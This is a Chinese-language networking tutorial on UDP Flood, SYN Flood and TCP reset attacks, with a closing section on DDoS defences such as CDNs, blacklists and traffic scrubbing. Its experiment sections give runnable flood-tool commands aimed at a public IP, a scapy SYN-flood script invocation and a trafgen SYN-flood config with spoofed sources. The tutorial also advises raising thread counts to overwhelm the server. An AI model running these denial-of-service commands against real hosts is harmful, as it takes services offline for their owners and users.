UDP Flood
前言
我们知道TCP协议是一种面向连接的传输协议。但是UDP协议与TCP协议不同, UDP是一个无连接协议。使用UDP协议传输数据之前,客户端和服务器之间不建立连接,如果在从客户端到服务器端的传递过程中出现数据的丢失,协议本身并不能做出任何检测或提示。因此,通常人们把UDP协议称为不可靠的传输协议
由于在使用UDP协议传输数据时,UDP面向无连接线,不能保证数据的完整性,因此在传输数据时不建议使用UDP协议。
既然UDP是一种不可靠的网络协议又不推荐使用的协议,那么它到底还有什么用,为什么又有它的存在呢?其实呀 在有些情况下UDP这个东西有时候还是非常非常有用。因为UDP具有TCP所望尘莫及的速度优势。
虽然TCP协议中植入了各种安全保障功能,但是在实际执行的过程中会占用大量的系统开销,无疑使传输速度受到严重的影响。反观UDP,没有那么多条条框框,将安全等功能移交给上层应用来完成,大大的降低了执行时间,使传输速度飞一般的提速快
什么是UDP Flood 攻击
UDP Flood是一种拒绝服务攻击,将大量的用户数据报协议(UDP)数据包发送到目标服务器,目的是压倒该设备的处理和响应能力。防火墙保护目标服务器也可能因 UDP 泛滥而耗尽,从而导致对合法流量的拒绝服务
正是UDP协议特性,为发动UDP Flood攻击提供了平台。UDP Flood属于带宽类攻击,通过僵尸网络向目标服务器发起大量的UDP报文,这种UDP报文通常为大包,且速率非常快,通常会造成以下危害:
- 消耗网络带宽资源,严重时造成链路拥塞。
- 大量变源变端口的UDP Flood会导致依靠会话转发的网络设备,性能降低甚至会话耗尽,从而导致网络瘫痪。
- 特别是云服务器一旦受到大流量攻击就会导致服务器封禁如:腾讯云封禁分别是几十分钟到24小时,手动解封只有三次机会
如何实现UDP Flood攻击
UDP Flood 主要利用了 服务器响应发送到所在服务的某一个端口的UDP数据包的这个过程
- 服务器首先检查是否正在运行正在侦听指定端口的请求的程序。
- 如果没有程序在该端口接收数据包,则服务器使用ICMP(ping)数据包进行响应,以通知发送方目的地不可达。
例:
假如回到国共抗日时期 今天要联系到华东野战第四野战师独立团团长李云龙,接线员接到电话后需要查看所有四野通讯目录来找到李云龙以确保李云龙在通讯站范围然后再转接给李云龙。
首先接线员接收到呼叫者要求连接到特定团指挥部。接线员然后需要查看所有在通讯范围的团部名单,然后确保老李在团部并且愿意接听电话。碰巧的是,此时如果突然间所有的电话线同时亮起来,那么接线员中心就会很快就变得不堪重负,乱成一锅粥了
当服务器接收到每个新的 UDP 数据包时,它将通过上述步骤来处理请求,并利用这个过程中服务器消耗的资源。发送 UDP 报文时,每个报文将包含源设备的 IP 地址。在这种类型的 DDoS 攻击期间,通常不会使用自己的真实 IP 地址,而是会欺骗 UDP 数据包的源 IP 地址,从而阻止攻击者的真实位置被暴露并潜在地饱和来自目标的响应数据包服务器。
由于目标服务器利用资源检查并响应每个接收到的 UDP 数据包的结果,当接收到大量 UDP 数据包时,目标的资源可能会迅速耗尽,导致对正常流量的拒绝服务。
实验
udpFloodTest
- 下载后解压zip得到一个udpFloodTest.exe应用文件
- 拖入C:\Windows\System32方便PowerShell使用也可以直接通过PowerShell 拖入使用
- 直接运行后发现只有两个参数可以使用 -t -a ``` UdpFlood Test Tool ————————version 0.0.2—————————- [-a] 请求IP地址 如:-a 127.0.0.1:8080 [-t] 并发数 如:-t 10
- 然后我们按照对应提示来执行 如: ** udpFloodTest -a 192.168.146.128:80 -t 5**
**这个时候发现本机上行流量明显增大**<br />![[WO9M7XK20WGE~7)LDIQP~O.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1617088821371-75df2370-5e79-4321-b6a4-6dfaea213934.png#align=left&display=inline&height=204&margin=%5Bobject%20Object%5D&name=%5BWO9M7XK20WGE~7%29LDIQP~O.png&originHeight=204&originWidth=327&size=14200&status=done&style=none&width=327)<br />**再来看看测试服务器的状态,下行流量接收异常**<br />![09AW23KQ2`@05@~]YCGAD3F.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1617088936154-01b3723e-939f-4f14-a505-687315aa2696.png#align=left&display=inline&height=36&margin=%5Bobject%20Object%5D&name=09AW23KQ2%60%4005%40~%5DYCGAD3F.png&originHeight=36&originWidth=320&size=2794&status=done&style=none&width=320)<br />![W0AL%ZAC965JQPLTV(NLW57.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1617089060756-bf7ee152-cf74-4ec0-830b-c401a728a861.png#align=left&display=inline&height=320&margin=%5Bobject%20Object%5D&name=W0AL%25ZAC965JQPLTV%28NLW57.png&originHeight=320&originWidth=700&size=21058&status=done&style=none&width=700)
<a name="rtUfI"></a>
#### tcpdump
[语雀内容](https://www.yuque.com/xqoyka/dnqv7z/fq4egc?view=doc_embed)
- 我们再在使用**tcpdump**来看下网络包
tcpdump -i ens33
- i =需要检测的网卡名字 可以通过 ip add 或 ifconfig
ens33: flags=4163
lo: flags=73
- 通过 **tcpdump -i ens33 **发现有大量恶意包
![~WZH5OZG7NBYY6DG}IZM3O6.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1617089942133-ef10ec07-a0c2-49f2-ab04-99ee4db465d4.png#align=left&display=inline&height=593&margin=%5Bobject%20Object%5D&name=~WZH5OZG7NBYY6DG%7DIZM3O6.png&originHeight=593&originWidth=1027&size=165308&status=done&style=none&width=1027)
- 通过上图看到有很多不明UDP包请求还参杂着其他正常网络请求的包 不太方便排查问题可以使用筛选下
tcpdump -i ens33 udp port 80
![325UWPP{3$1EF1]U{U`@(Z2.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1617090532315-54e0b3b6-4732-4572-ad4b-80ab231043fb.png#align=left&display=inline&height=473&margin=%5Bobject%20Object%5D&name=325UWPP%7B3%241EF1%5DU%7BU%60%40%28Z2.png&originHeight=473&originWidth=786&size=123137&status=done&style=none&width=786)<br />这个时候发现清晰多了,可以看到有大量UDP 1024长度的包再频繁发送<br />通过测试发现攻击虽然有了但是服务器还可以正常运行呀,不要慌我们只需要模拟分布式 使用-t 100加大线程端口访问数量即可
<a name="GQXaS"></a>
## SYN Flood
<a name="tGHnQ"></a>
### 前言
**SYN Flood **是当前最流行的DOS与DDOS的攻击方式之一也是最经典的攻击方式之一,从1970 年出现直到今天都依然还能看到它的身影,并给全球范围内的各大组织带来了巨大损失,这是一种利用TCP三次握手的缺陷,发送大量伪造的TCP连接请求使被攻击方资源耗尽,能够以较小代价使目标服务器无法响应的攻击方式
<a name="zBF5T"></a>
### 如何实现SYN Flood攻击
**SYN Flood** 攻击利用的是 **TCP** 的三次握手(**SYN -> SYN-ACK -> ACK**)假设连接发起方是A,连接接受方是 B,即 B 在某个端口(**Port**)上监听A发出的连接请求,过程如下图所示,左边是A,右边是B.
![image.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1616945084990-4945d616-0f1b-46d3-8dd7-8b9662ff6dd6.png#align=left&display=inline&height=713&margin=%5Bobject%20Object%5D&name=image.png&originHeight=713&originWidth=948&size=58678&status=done&style=none&width=948)
A 首先发送 **SYN**(Synchronization)消息给 B,要求 B 做好接收数据的准备;B 收到后反馈 **SYN-ACK**(Synchronization-Acknowledgement) 消息给A 。
- 向 A 确认已做好接收数据的准备,<br />
- 同时要求 A 也做好接收数据的准备,此时 B 已向 A 确认好接收状态,并等待 A 的确认,连接处于**半开状态(Half-Open)**就是只开了一半.A 收到后再次发送 **ACK**(Acknowledgement) 消息给B,向 B 确认也做好了接收数据的准备,至此三次握手完成,「**连接**」就建立了 。
最关键的一点在于双方是否都按对方的要求进入了**可以接收消息**的状态。
<a name="270d3d2f"></a>
#### 客户端SYN_SENT状态
当请求连接时客户端首先要发送同步信号给要访问的机器,此时状态为SYN_SENT,如果连接成功了就变为ESTABLISHED,正常情况下SYN_SENT状态非常短暂。例如要访问网站[http://www.baidu.com,](http://www.baidu.com,)如果是正常连接的话,用**TCPView**观察 msedge.exe (Edge)建立的连接会发现很快从SYN_SENT变为ESTABLISHED,表示连接成功。SYN_SENT状态快的也许看不到 。
<a name="G5uxb"></a>
#### 服务器端SYN_RCVD状态
再收到和发送一个连接请求后等待对方对连接请求的确认。当服务器收到客户端发送的同步信号时,将标志位ACK和SYN置1发送给客户端,此时服务器端处于SYN_RCVD状态,如果连接成功了就变为ESTABLISHED,正常情况下SYN_RCVD状态非常短暂。如果发现有很多SYN_RCVD状态,那你的机器有可能被**SYN Flood**攻击了。
上面讨论的是双方在诚实守信不捣乱,不添堵正常情况下来的。
但是**SYN Flood**攻击就是故意不按规矩来,故意延迟或不发送握手确认消息。
![image.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1616948056859-c9e8509a-50ba-4c43-aa10-dd41579450db.png#align=left&display=inline&height=715&margin=%5Bobject%20Object%5D&name=image.png&originHeight=715&originWidth=1091&size=84309&status=done&style=none&width=1091)
**服务器**使用**TCP**端口网络服务,**服务器**在收到**客户端**的**SYN**消息的时候速度很快的反馈了**SYN-ACK**消息,然后**服务器**当前连接进入**半开状态**,**服务器**不确定发给**客户端**的**SYN-ACK**消息或**客户端**反馈的**ACK**消息是否因为网络问题丢失,所以会给每个**半开状态**的连接都设一个**超过时间,**如果**超过时间**还没有收到**客户端**的**ACK**消息,就会触发重试 重新发送一条**SYN-ACK**消息给**客户端**直到重试超过一定数量时候才会废弃
例:<br />假如战国时期秦王派王贲去攻打魏国的首都大梁灭了大魏这个时候类硬碰硬肯定损伤严重因为魏国还屯了不少魏武卒,这个时候咋办嘞王贲就想呀打了几次打不下来要是硬打的话最好的情况下也是死伤严重呀,这不行呀,唉这时候咋办类,他就想了个办法,通过贿赂几个小蛮夷部落去骚扰魏国部落边界,然后类假冒魏国边界使者去要兵增援(**SYN**),秦部队假意停战后撤回边境,然后派出小股部队假扮山贼去魏国边境骚扰接着假冒使者去要兵增援(**SYN**),在主要干道上埋上少量轻骑伏兵来拖住救援部队,大魏王一看秦国不打了停战了,很开心还收到了和平停战盟约书这回更加开心了,但是随之而来的就是蛮夷山贼在边境烧杀抢夺,民不聊生的要兵救援的使者,大魏王一听不行国内刚安定边界不能出事,立马派兵增援并携带一名快骑通信兵汇报情况(**SYN-ACK**),过了两天魏王就很纳闷这兵派出去了咋没回信 是不是走丢了呀,然后又接二连三派出去一波 渐渐的没兵了 就剩下几千老弱病残 和 几百个精兵护卫了....然后就GG了
![](https://cdn.nlark.com/yuque/0/2021/jpeg/686312/1616950906303-2e47eefa-b37d-499a-b848-527f06c5b847.jpeg#align=left&display=inline&height=230&margin=%5Bobject%20Object%5D&originHeight=230&originWidth=410&size=0&status=done&style=none&width=410)
因为**服务器**为了**客户端**能够建立连接就需要分配资源来维护**半开状态**有效性,如果**服务器**一瞬间触发大量**客户端**连接时就形成了**SYN Flood**攻击 攻击方可以控制大量肉鸡发送大量的**SYN**消息但是不搭理服务器返回的**SYN-ACK**消息你说气不气,再不然直接伪造一大堆假的**Source IP**使**SYN-ACK**消息石沉大海导致大量连接处于半开状态,直到服务器资源耗尽宕机停止响应正常的请求
<a name="CX0ul"></a>
### 实验
<a name="CVSKA"></a>
#### TCPView
[TCPView.zip](https://www.yuque.com/attachments/yuque/0/2021/zip/686312/1617096661467-e0c6028f-c5e7-4ddb-a8d7-e2c8811b5cea.zip?_lake_card=%7B%22uid%22%3A%221617096660436-0%22%2C%22src%22%3A%22https%3A%2F%2Fwww.yuque.com%2Fattachments%2Fyuque%2F0%2F2021%2Fzip%2F686312%2F1617096661467-e0c6028f-c5e7-4ddb-a8d7-e2c8811b5cea.zip%22%2C%22name%22%3A%22TCPView.zip%22%2C%22size%22%3A291606%2C%22type%22%3A%22application%2Fx-zip-compressed%22%2C%22ext%22%3A%22zip%22%2C%22progress%22%3A%7B%22percent%22%3A99%7D%2C%22status%22%3A%22done%22%2C%22percent%22%3A0%2C%22id%22%3A%220xgDo%22%2C%22card%22%3A%22file%22%7D)
<a name="synFloodTest"></a>
#### synFloodTest
[synFloodTest.zip](https://www.yuque.com/attachments/yuque/0/2021/zip/686312/1617096695312-6e989a7d-57f0-4531-b3e0-8ca444f9f335.zip?_lake_card=%7B%22uid%22%3A%221617096693791-0%22%2C%22src%22%3A%22https%3A%2F%2Fwww.yuque.com%2Fattachments%2Fyuque%2F0%2F2021%2Fzip%2F686312%2F1617096695312-6e989a7d-57f0-4531-b3e0-8ca444f9f335.zip%22%2C%22name%22%3A%22synFloodTest.zip%22%2C%22size%22%3A1466730%2C%22type%22%3A%22application%2Fx-zip-compressed%22%2C%22ext%22%3A%22zip%22%2C%22progress%22%3A%7B%22percent%22%3A99%7D%2C%22status%22%3A%22done%22%2C%22percent%22%3A0%2C%22id%22%3A%22HrS3F%22%2C%22card%22%3A%22file%22%7D)
- 伪工具,安装使用方法和UDP一样 唯一不一样的地方是不支持 -t
————————version 0.0.1—————————-
[-a] 请求IP地址 如:-a 127.0.0.1:8080
- 实验 服务器 IP 106.15.89.120
运行前<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1617097207098-ef69a42b-38da-423a-b261-94f4805f1da6.png#align=left&display=inline&height=108&margin=%5Bobject%20Object%5D&name=image.png&originHeight=108&originWidth=472&size=8410&status=done&style=none&width=472)<br />运行后<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1617097178794-6dd9ea2b-d6bb-4b13-8988-92c7e3206e45.png#align=left&display=inline&height=110&margin=%5Bobject%20Object%5D&name=image.png&originHeight=110&originWidth=459&size=8536&status=done&style=none&width=459)<br />发现运行后当前服务器明显出现不正常情况甚至端口出现端口访问不到的情况
<a name="PSDGK"></a>
#### SYN-Flood-Attack-Tool
Python 基于**scapy** 实现的Linux SYNFlood攻击测试工具
- 安装依赖
apt install python-scapy apt install python3-scapy
- 安装拉取开源库
git clone https://github.com/EmreOvunc/Python-SYN-Flood-Attack-Tool.git cd Python-SYN-Flood-Attack-Tool
- 使用
python3 py3_synflood_cmd.py -t 106.15.89.120 -p 80 -c 50
![image.png](https://cdn.nlark.com/yuque/0/2021/png/686312/1617097737289-82abc75d-59c1-43ec-bbe7-e01036306565.png#align=left&display=inline&height=414&margin=%5Bobject%20Object%5D&name=image.png&originHeight=414&originWidth=972&size=109688&status=done&style=none&width=972)
运行**tcpdump -i ens33 tcp port 80**后发现后台程序不断有随机伪造分源IP在向目标IP发卡 Flage[S] 头部报文
<a name="Tmvaa"></a>
#### trafgen
**trafgen 是 netsniff-ng**套件中一个攻击,其在测试环境中可以达到将近**20万pps**的SYNFLOOD攻击,是一个高速,多线程网络数据包生成工具<br />trafgen 工具能够动态生成攻击IP和端口号,能够通过配置文件动态修改攻击包的内容
- 安装
yum install netsniff-ng
因为trafgen属于**netsniff-ng**套件,是一款linux下的工具,所以安装特别简单方便,**netsniff-ng**也是一个高性能的网络嗅探器
- 使用
trafgen —cpp —dev ens33 —conf synflood.trafgen —verbose
工具使用起来比较简单,主要是靠**trafgen**配置文件的编写假设已经写好了一个synflood配置文件
/* TCP SYN attack ( 64byte )
- Command example:
- trafgen —cpp —dev em2 —conf synflood.trafgen —verbose
- Note: dynamic elements “drnd()” make trafgen slower */
define ETH_P_IP 0x0800
define SYN (1 << 1)
define ACK (1 << 4)
define ECN (1 << 6)
{ / —- Ethernet Header —- / / NEED ADJUST / 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination 0x00, 0x12, 0xc0, drnd(3), # MAC Source
const16(ETH_P_IP), / IPv4 Version, IHL, TOS / 0b01000101, 0, / IPv4 Total Len / const16(46), / IPv4 Ident / drnd(2), //const16(2),
/ IPv4 Flags, Frag Off / 0b01000000, 0, / IPv4 TTL / 64, / Proto TCP / 0x06, / IPv4 Checksum (IP header from, to) / csumip(14, 33),
/ NEED ADJUST / 10, 10, 88, drnd(1), # Source IP 106.15.89.120, # Dest IP
/ TCP Source Port / drnd(2), / TCP Dest Port / const16(80), / TCP Sequence Number / drnd(4), / TCP Ackn. Number / const32(0), / NOTICE ACK==zero with SYN packets /
/ TCP Header length + Flags / //const16((0x5 << 12) | SYN | ECN) / TCP SYN+ECN Flag / //const16((0x5 << 12) | SYN | ACK) / TCP SYN+ACK Flag / const16((0x5 << 12) | SYN) / TCP SYN Flag / //const16((0x5 << 12) | ACK) / TCP ACK Flag /
/ Window Size / const16(16), / TCP Checksum (offset IP, offset TCP) / csumtcp(14, 34), const16(0), /PAD/
/ Data / “SYNswf” }
[synflood_trafgen.zip](https://www.yuque.com/attachments/yuque/0/2021/zip/686312/1617098970624-247c9bed-5669-43d7-b7e2-d47803af0c1a.zip?_lake_card=%7B%22uid%22%3A%221617098969713-0%22%2C%22src%22%3A%22https%3A%2F%2Fwww.yuque.com%2Fattachments%2Fyuque%2F0%2F2021%2Fzip%2F686312%2F1617098970624-247c9bed-5669-43d7-b7e2-d47803af0c1a.zip%22%2C%22name%22%3A%22synflood_trafgen.zip%22%2C%22size%22%3A815%2C%22type%22%3A%22application%2Fx-zip-compressed%22%2C%22ext%22%3A%22zip%22%2C%22progress%22%3A%7B%22percent%22%3A99%7D%2C%22status%22%3A%22done%22%2C%22percent%22%3A0%2C%22id%22%3A%22Lu8iY%22%2C%22card%22%3A%22file%22%7D)
1. 配置文件可通过**drnd()**函数来实现对应内容的动态生成,如IP、MAC地址等,但是会影响性能
![](https://cdn.nlark.com/yuque/0/2021/png/686312/1617099119332-e6fe0bf7-a44a-4fce-aa39-581395afb639.png#align=left&display=inline&height=80&margin=%5Bobject%20Object%5D&originHeight=80&originWidth=558&size=0&status=done&style=none&width=558)
2. 修改MAC地址(攻击/被攻击MAC地址)
![](https://cdn.nlark.com/yuque/0/2021/png/686312/1617099203347-f0c30f9f-b0da-489d-a489-42cf2ba7d95a.png#align=left&display=inline&height=127&margin=%5Bobject%20Object%5D&originHeight=127&originWidth=544&size=0&status=done&style=none&width=544)
3. 修改IP地址和攻击协议及端口号,**const16()**将对应的十进制数转换成一个16位的二进制数
![](https://cdn.nlark.com/yuque/0/2021/png/686312/1617099251014-2763bff0-0111-4ab4-afdc-94866121840a.png#align=left&display=inline&height=271&margin=%5Bobject%20Object%5D&originHeight=271&originWidth=416&size=0&status=done&style=none&width=416)
实验完成后记得执行关闭命令除非关机否则他是不会停止的
pgrep trafgen | xargs kill -s 9 ```
TCP 重置攻击
前言
TCP 重置攻击 是使用一个单一的数据包来执行的,只有几个字节大小。攻击者制作并发送一个伪造的 TCP 重置包来干扰用户和网站的连接,欺骗通信双方终止 TCP 连接。国内网络墙就是运用了TCP 重置技术来进行TCP 关键字阻断的
如何实现TCP 重置攻击
攻击程序通过嗅探通信双方的交换二进制信息截获一个ACK 为 1 的报文段然后进行读取伪造向通信的一方或双方发送伪造的消息,告诉双方立刻断开TCP连接然后使服务端客户端连接中断。
简单粗爆可以通过防火墙简单设置。建议使用防火墙将进来的包带RST位的包丢弃。
实验
DDOS
DDOS攻击方式很多,比如UDP Flood,SYN Flood,CC,ICMP Flood 等 主要还是利用网络协议和操作系统的一些缺陷,采用欺骗和伪装的策略来进行网络攻击,使网站服务器充斥大量要求回复的信息,消耗网络带宽或系统资源,导致网络或系统不胜负荷以至于瘫痪而停止提供正常的网络服务.
防御DDOS攻击了一些主流方式
利用CDN加速隐藏
CDN服务可以将我们的网站访问流量分发到全国各地各个不同的服务节点一方面我们可以很简单轻易的将真实IP隐藏起来,另一方面就算遭受了DDOS攻击也可以将攻击流量分布到不同的CDN节点里面,从而防止真是服务器源站宕机崩溃.
服务黑名单
通过利用服务器防火墙,nginx防火墙等类似的机制可以将恶意访问的IP进行入档禁止访问,但是会出现一种问题就是会正常用户一些相似的操作也会禁止访问,这种方法秉承的就是宁可错杀一千,也不放一个的原则,会封锁正常流量c从而影响到正常业务
DDos 流量清洗
例如:开了个饭店,运营了一段时间发现总有一拨人来了之后,转转转瞅瞅瞅 就是不消费不点菜 久而久之正常的客人来了连个位置都找不到了,这个时候类就设定个规矩 那些来了半天一直不点餐的 给他撵出去 这就是DDos 流量清洗.
DDoS 清洗会对访问用户请求的数据进行一个检测然后实时发现分析异常流量,在不影响正常业务的前提下过滤掉这些异常流量
高防服务器
钻石王老五可以购买NB的独立硬防御几十到几百GB的高防服务器简单好用,就是烧的慌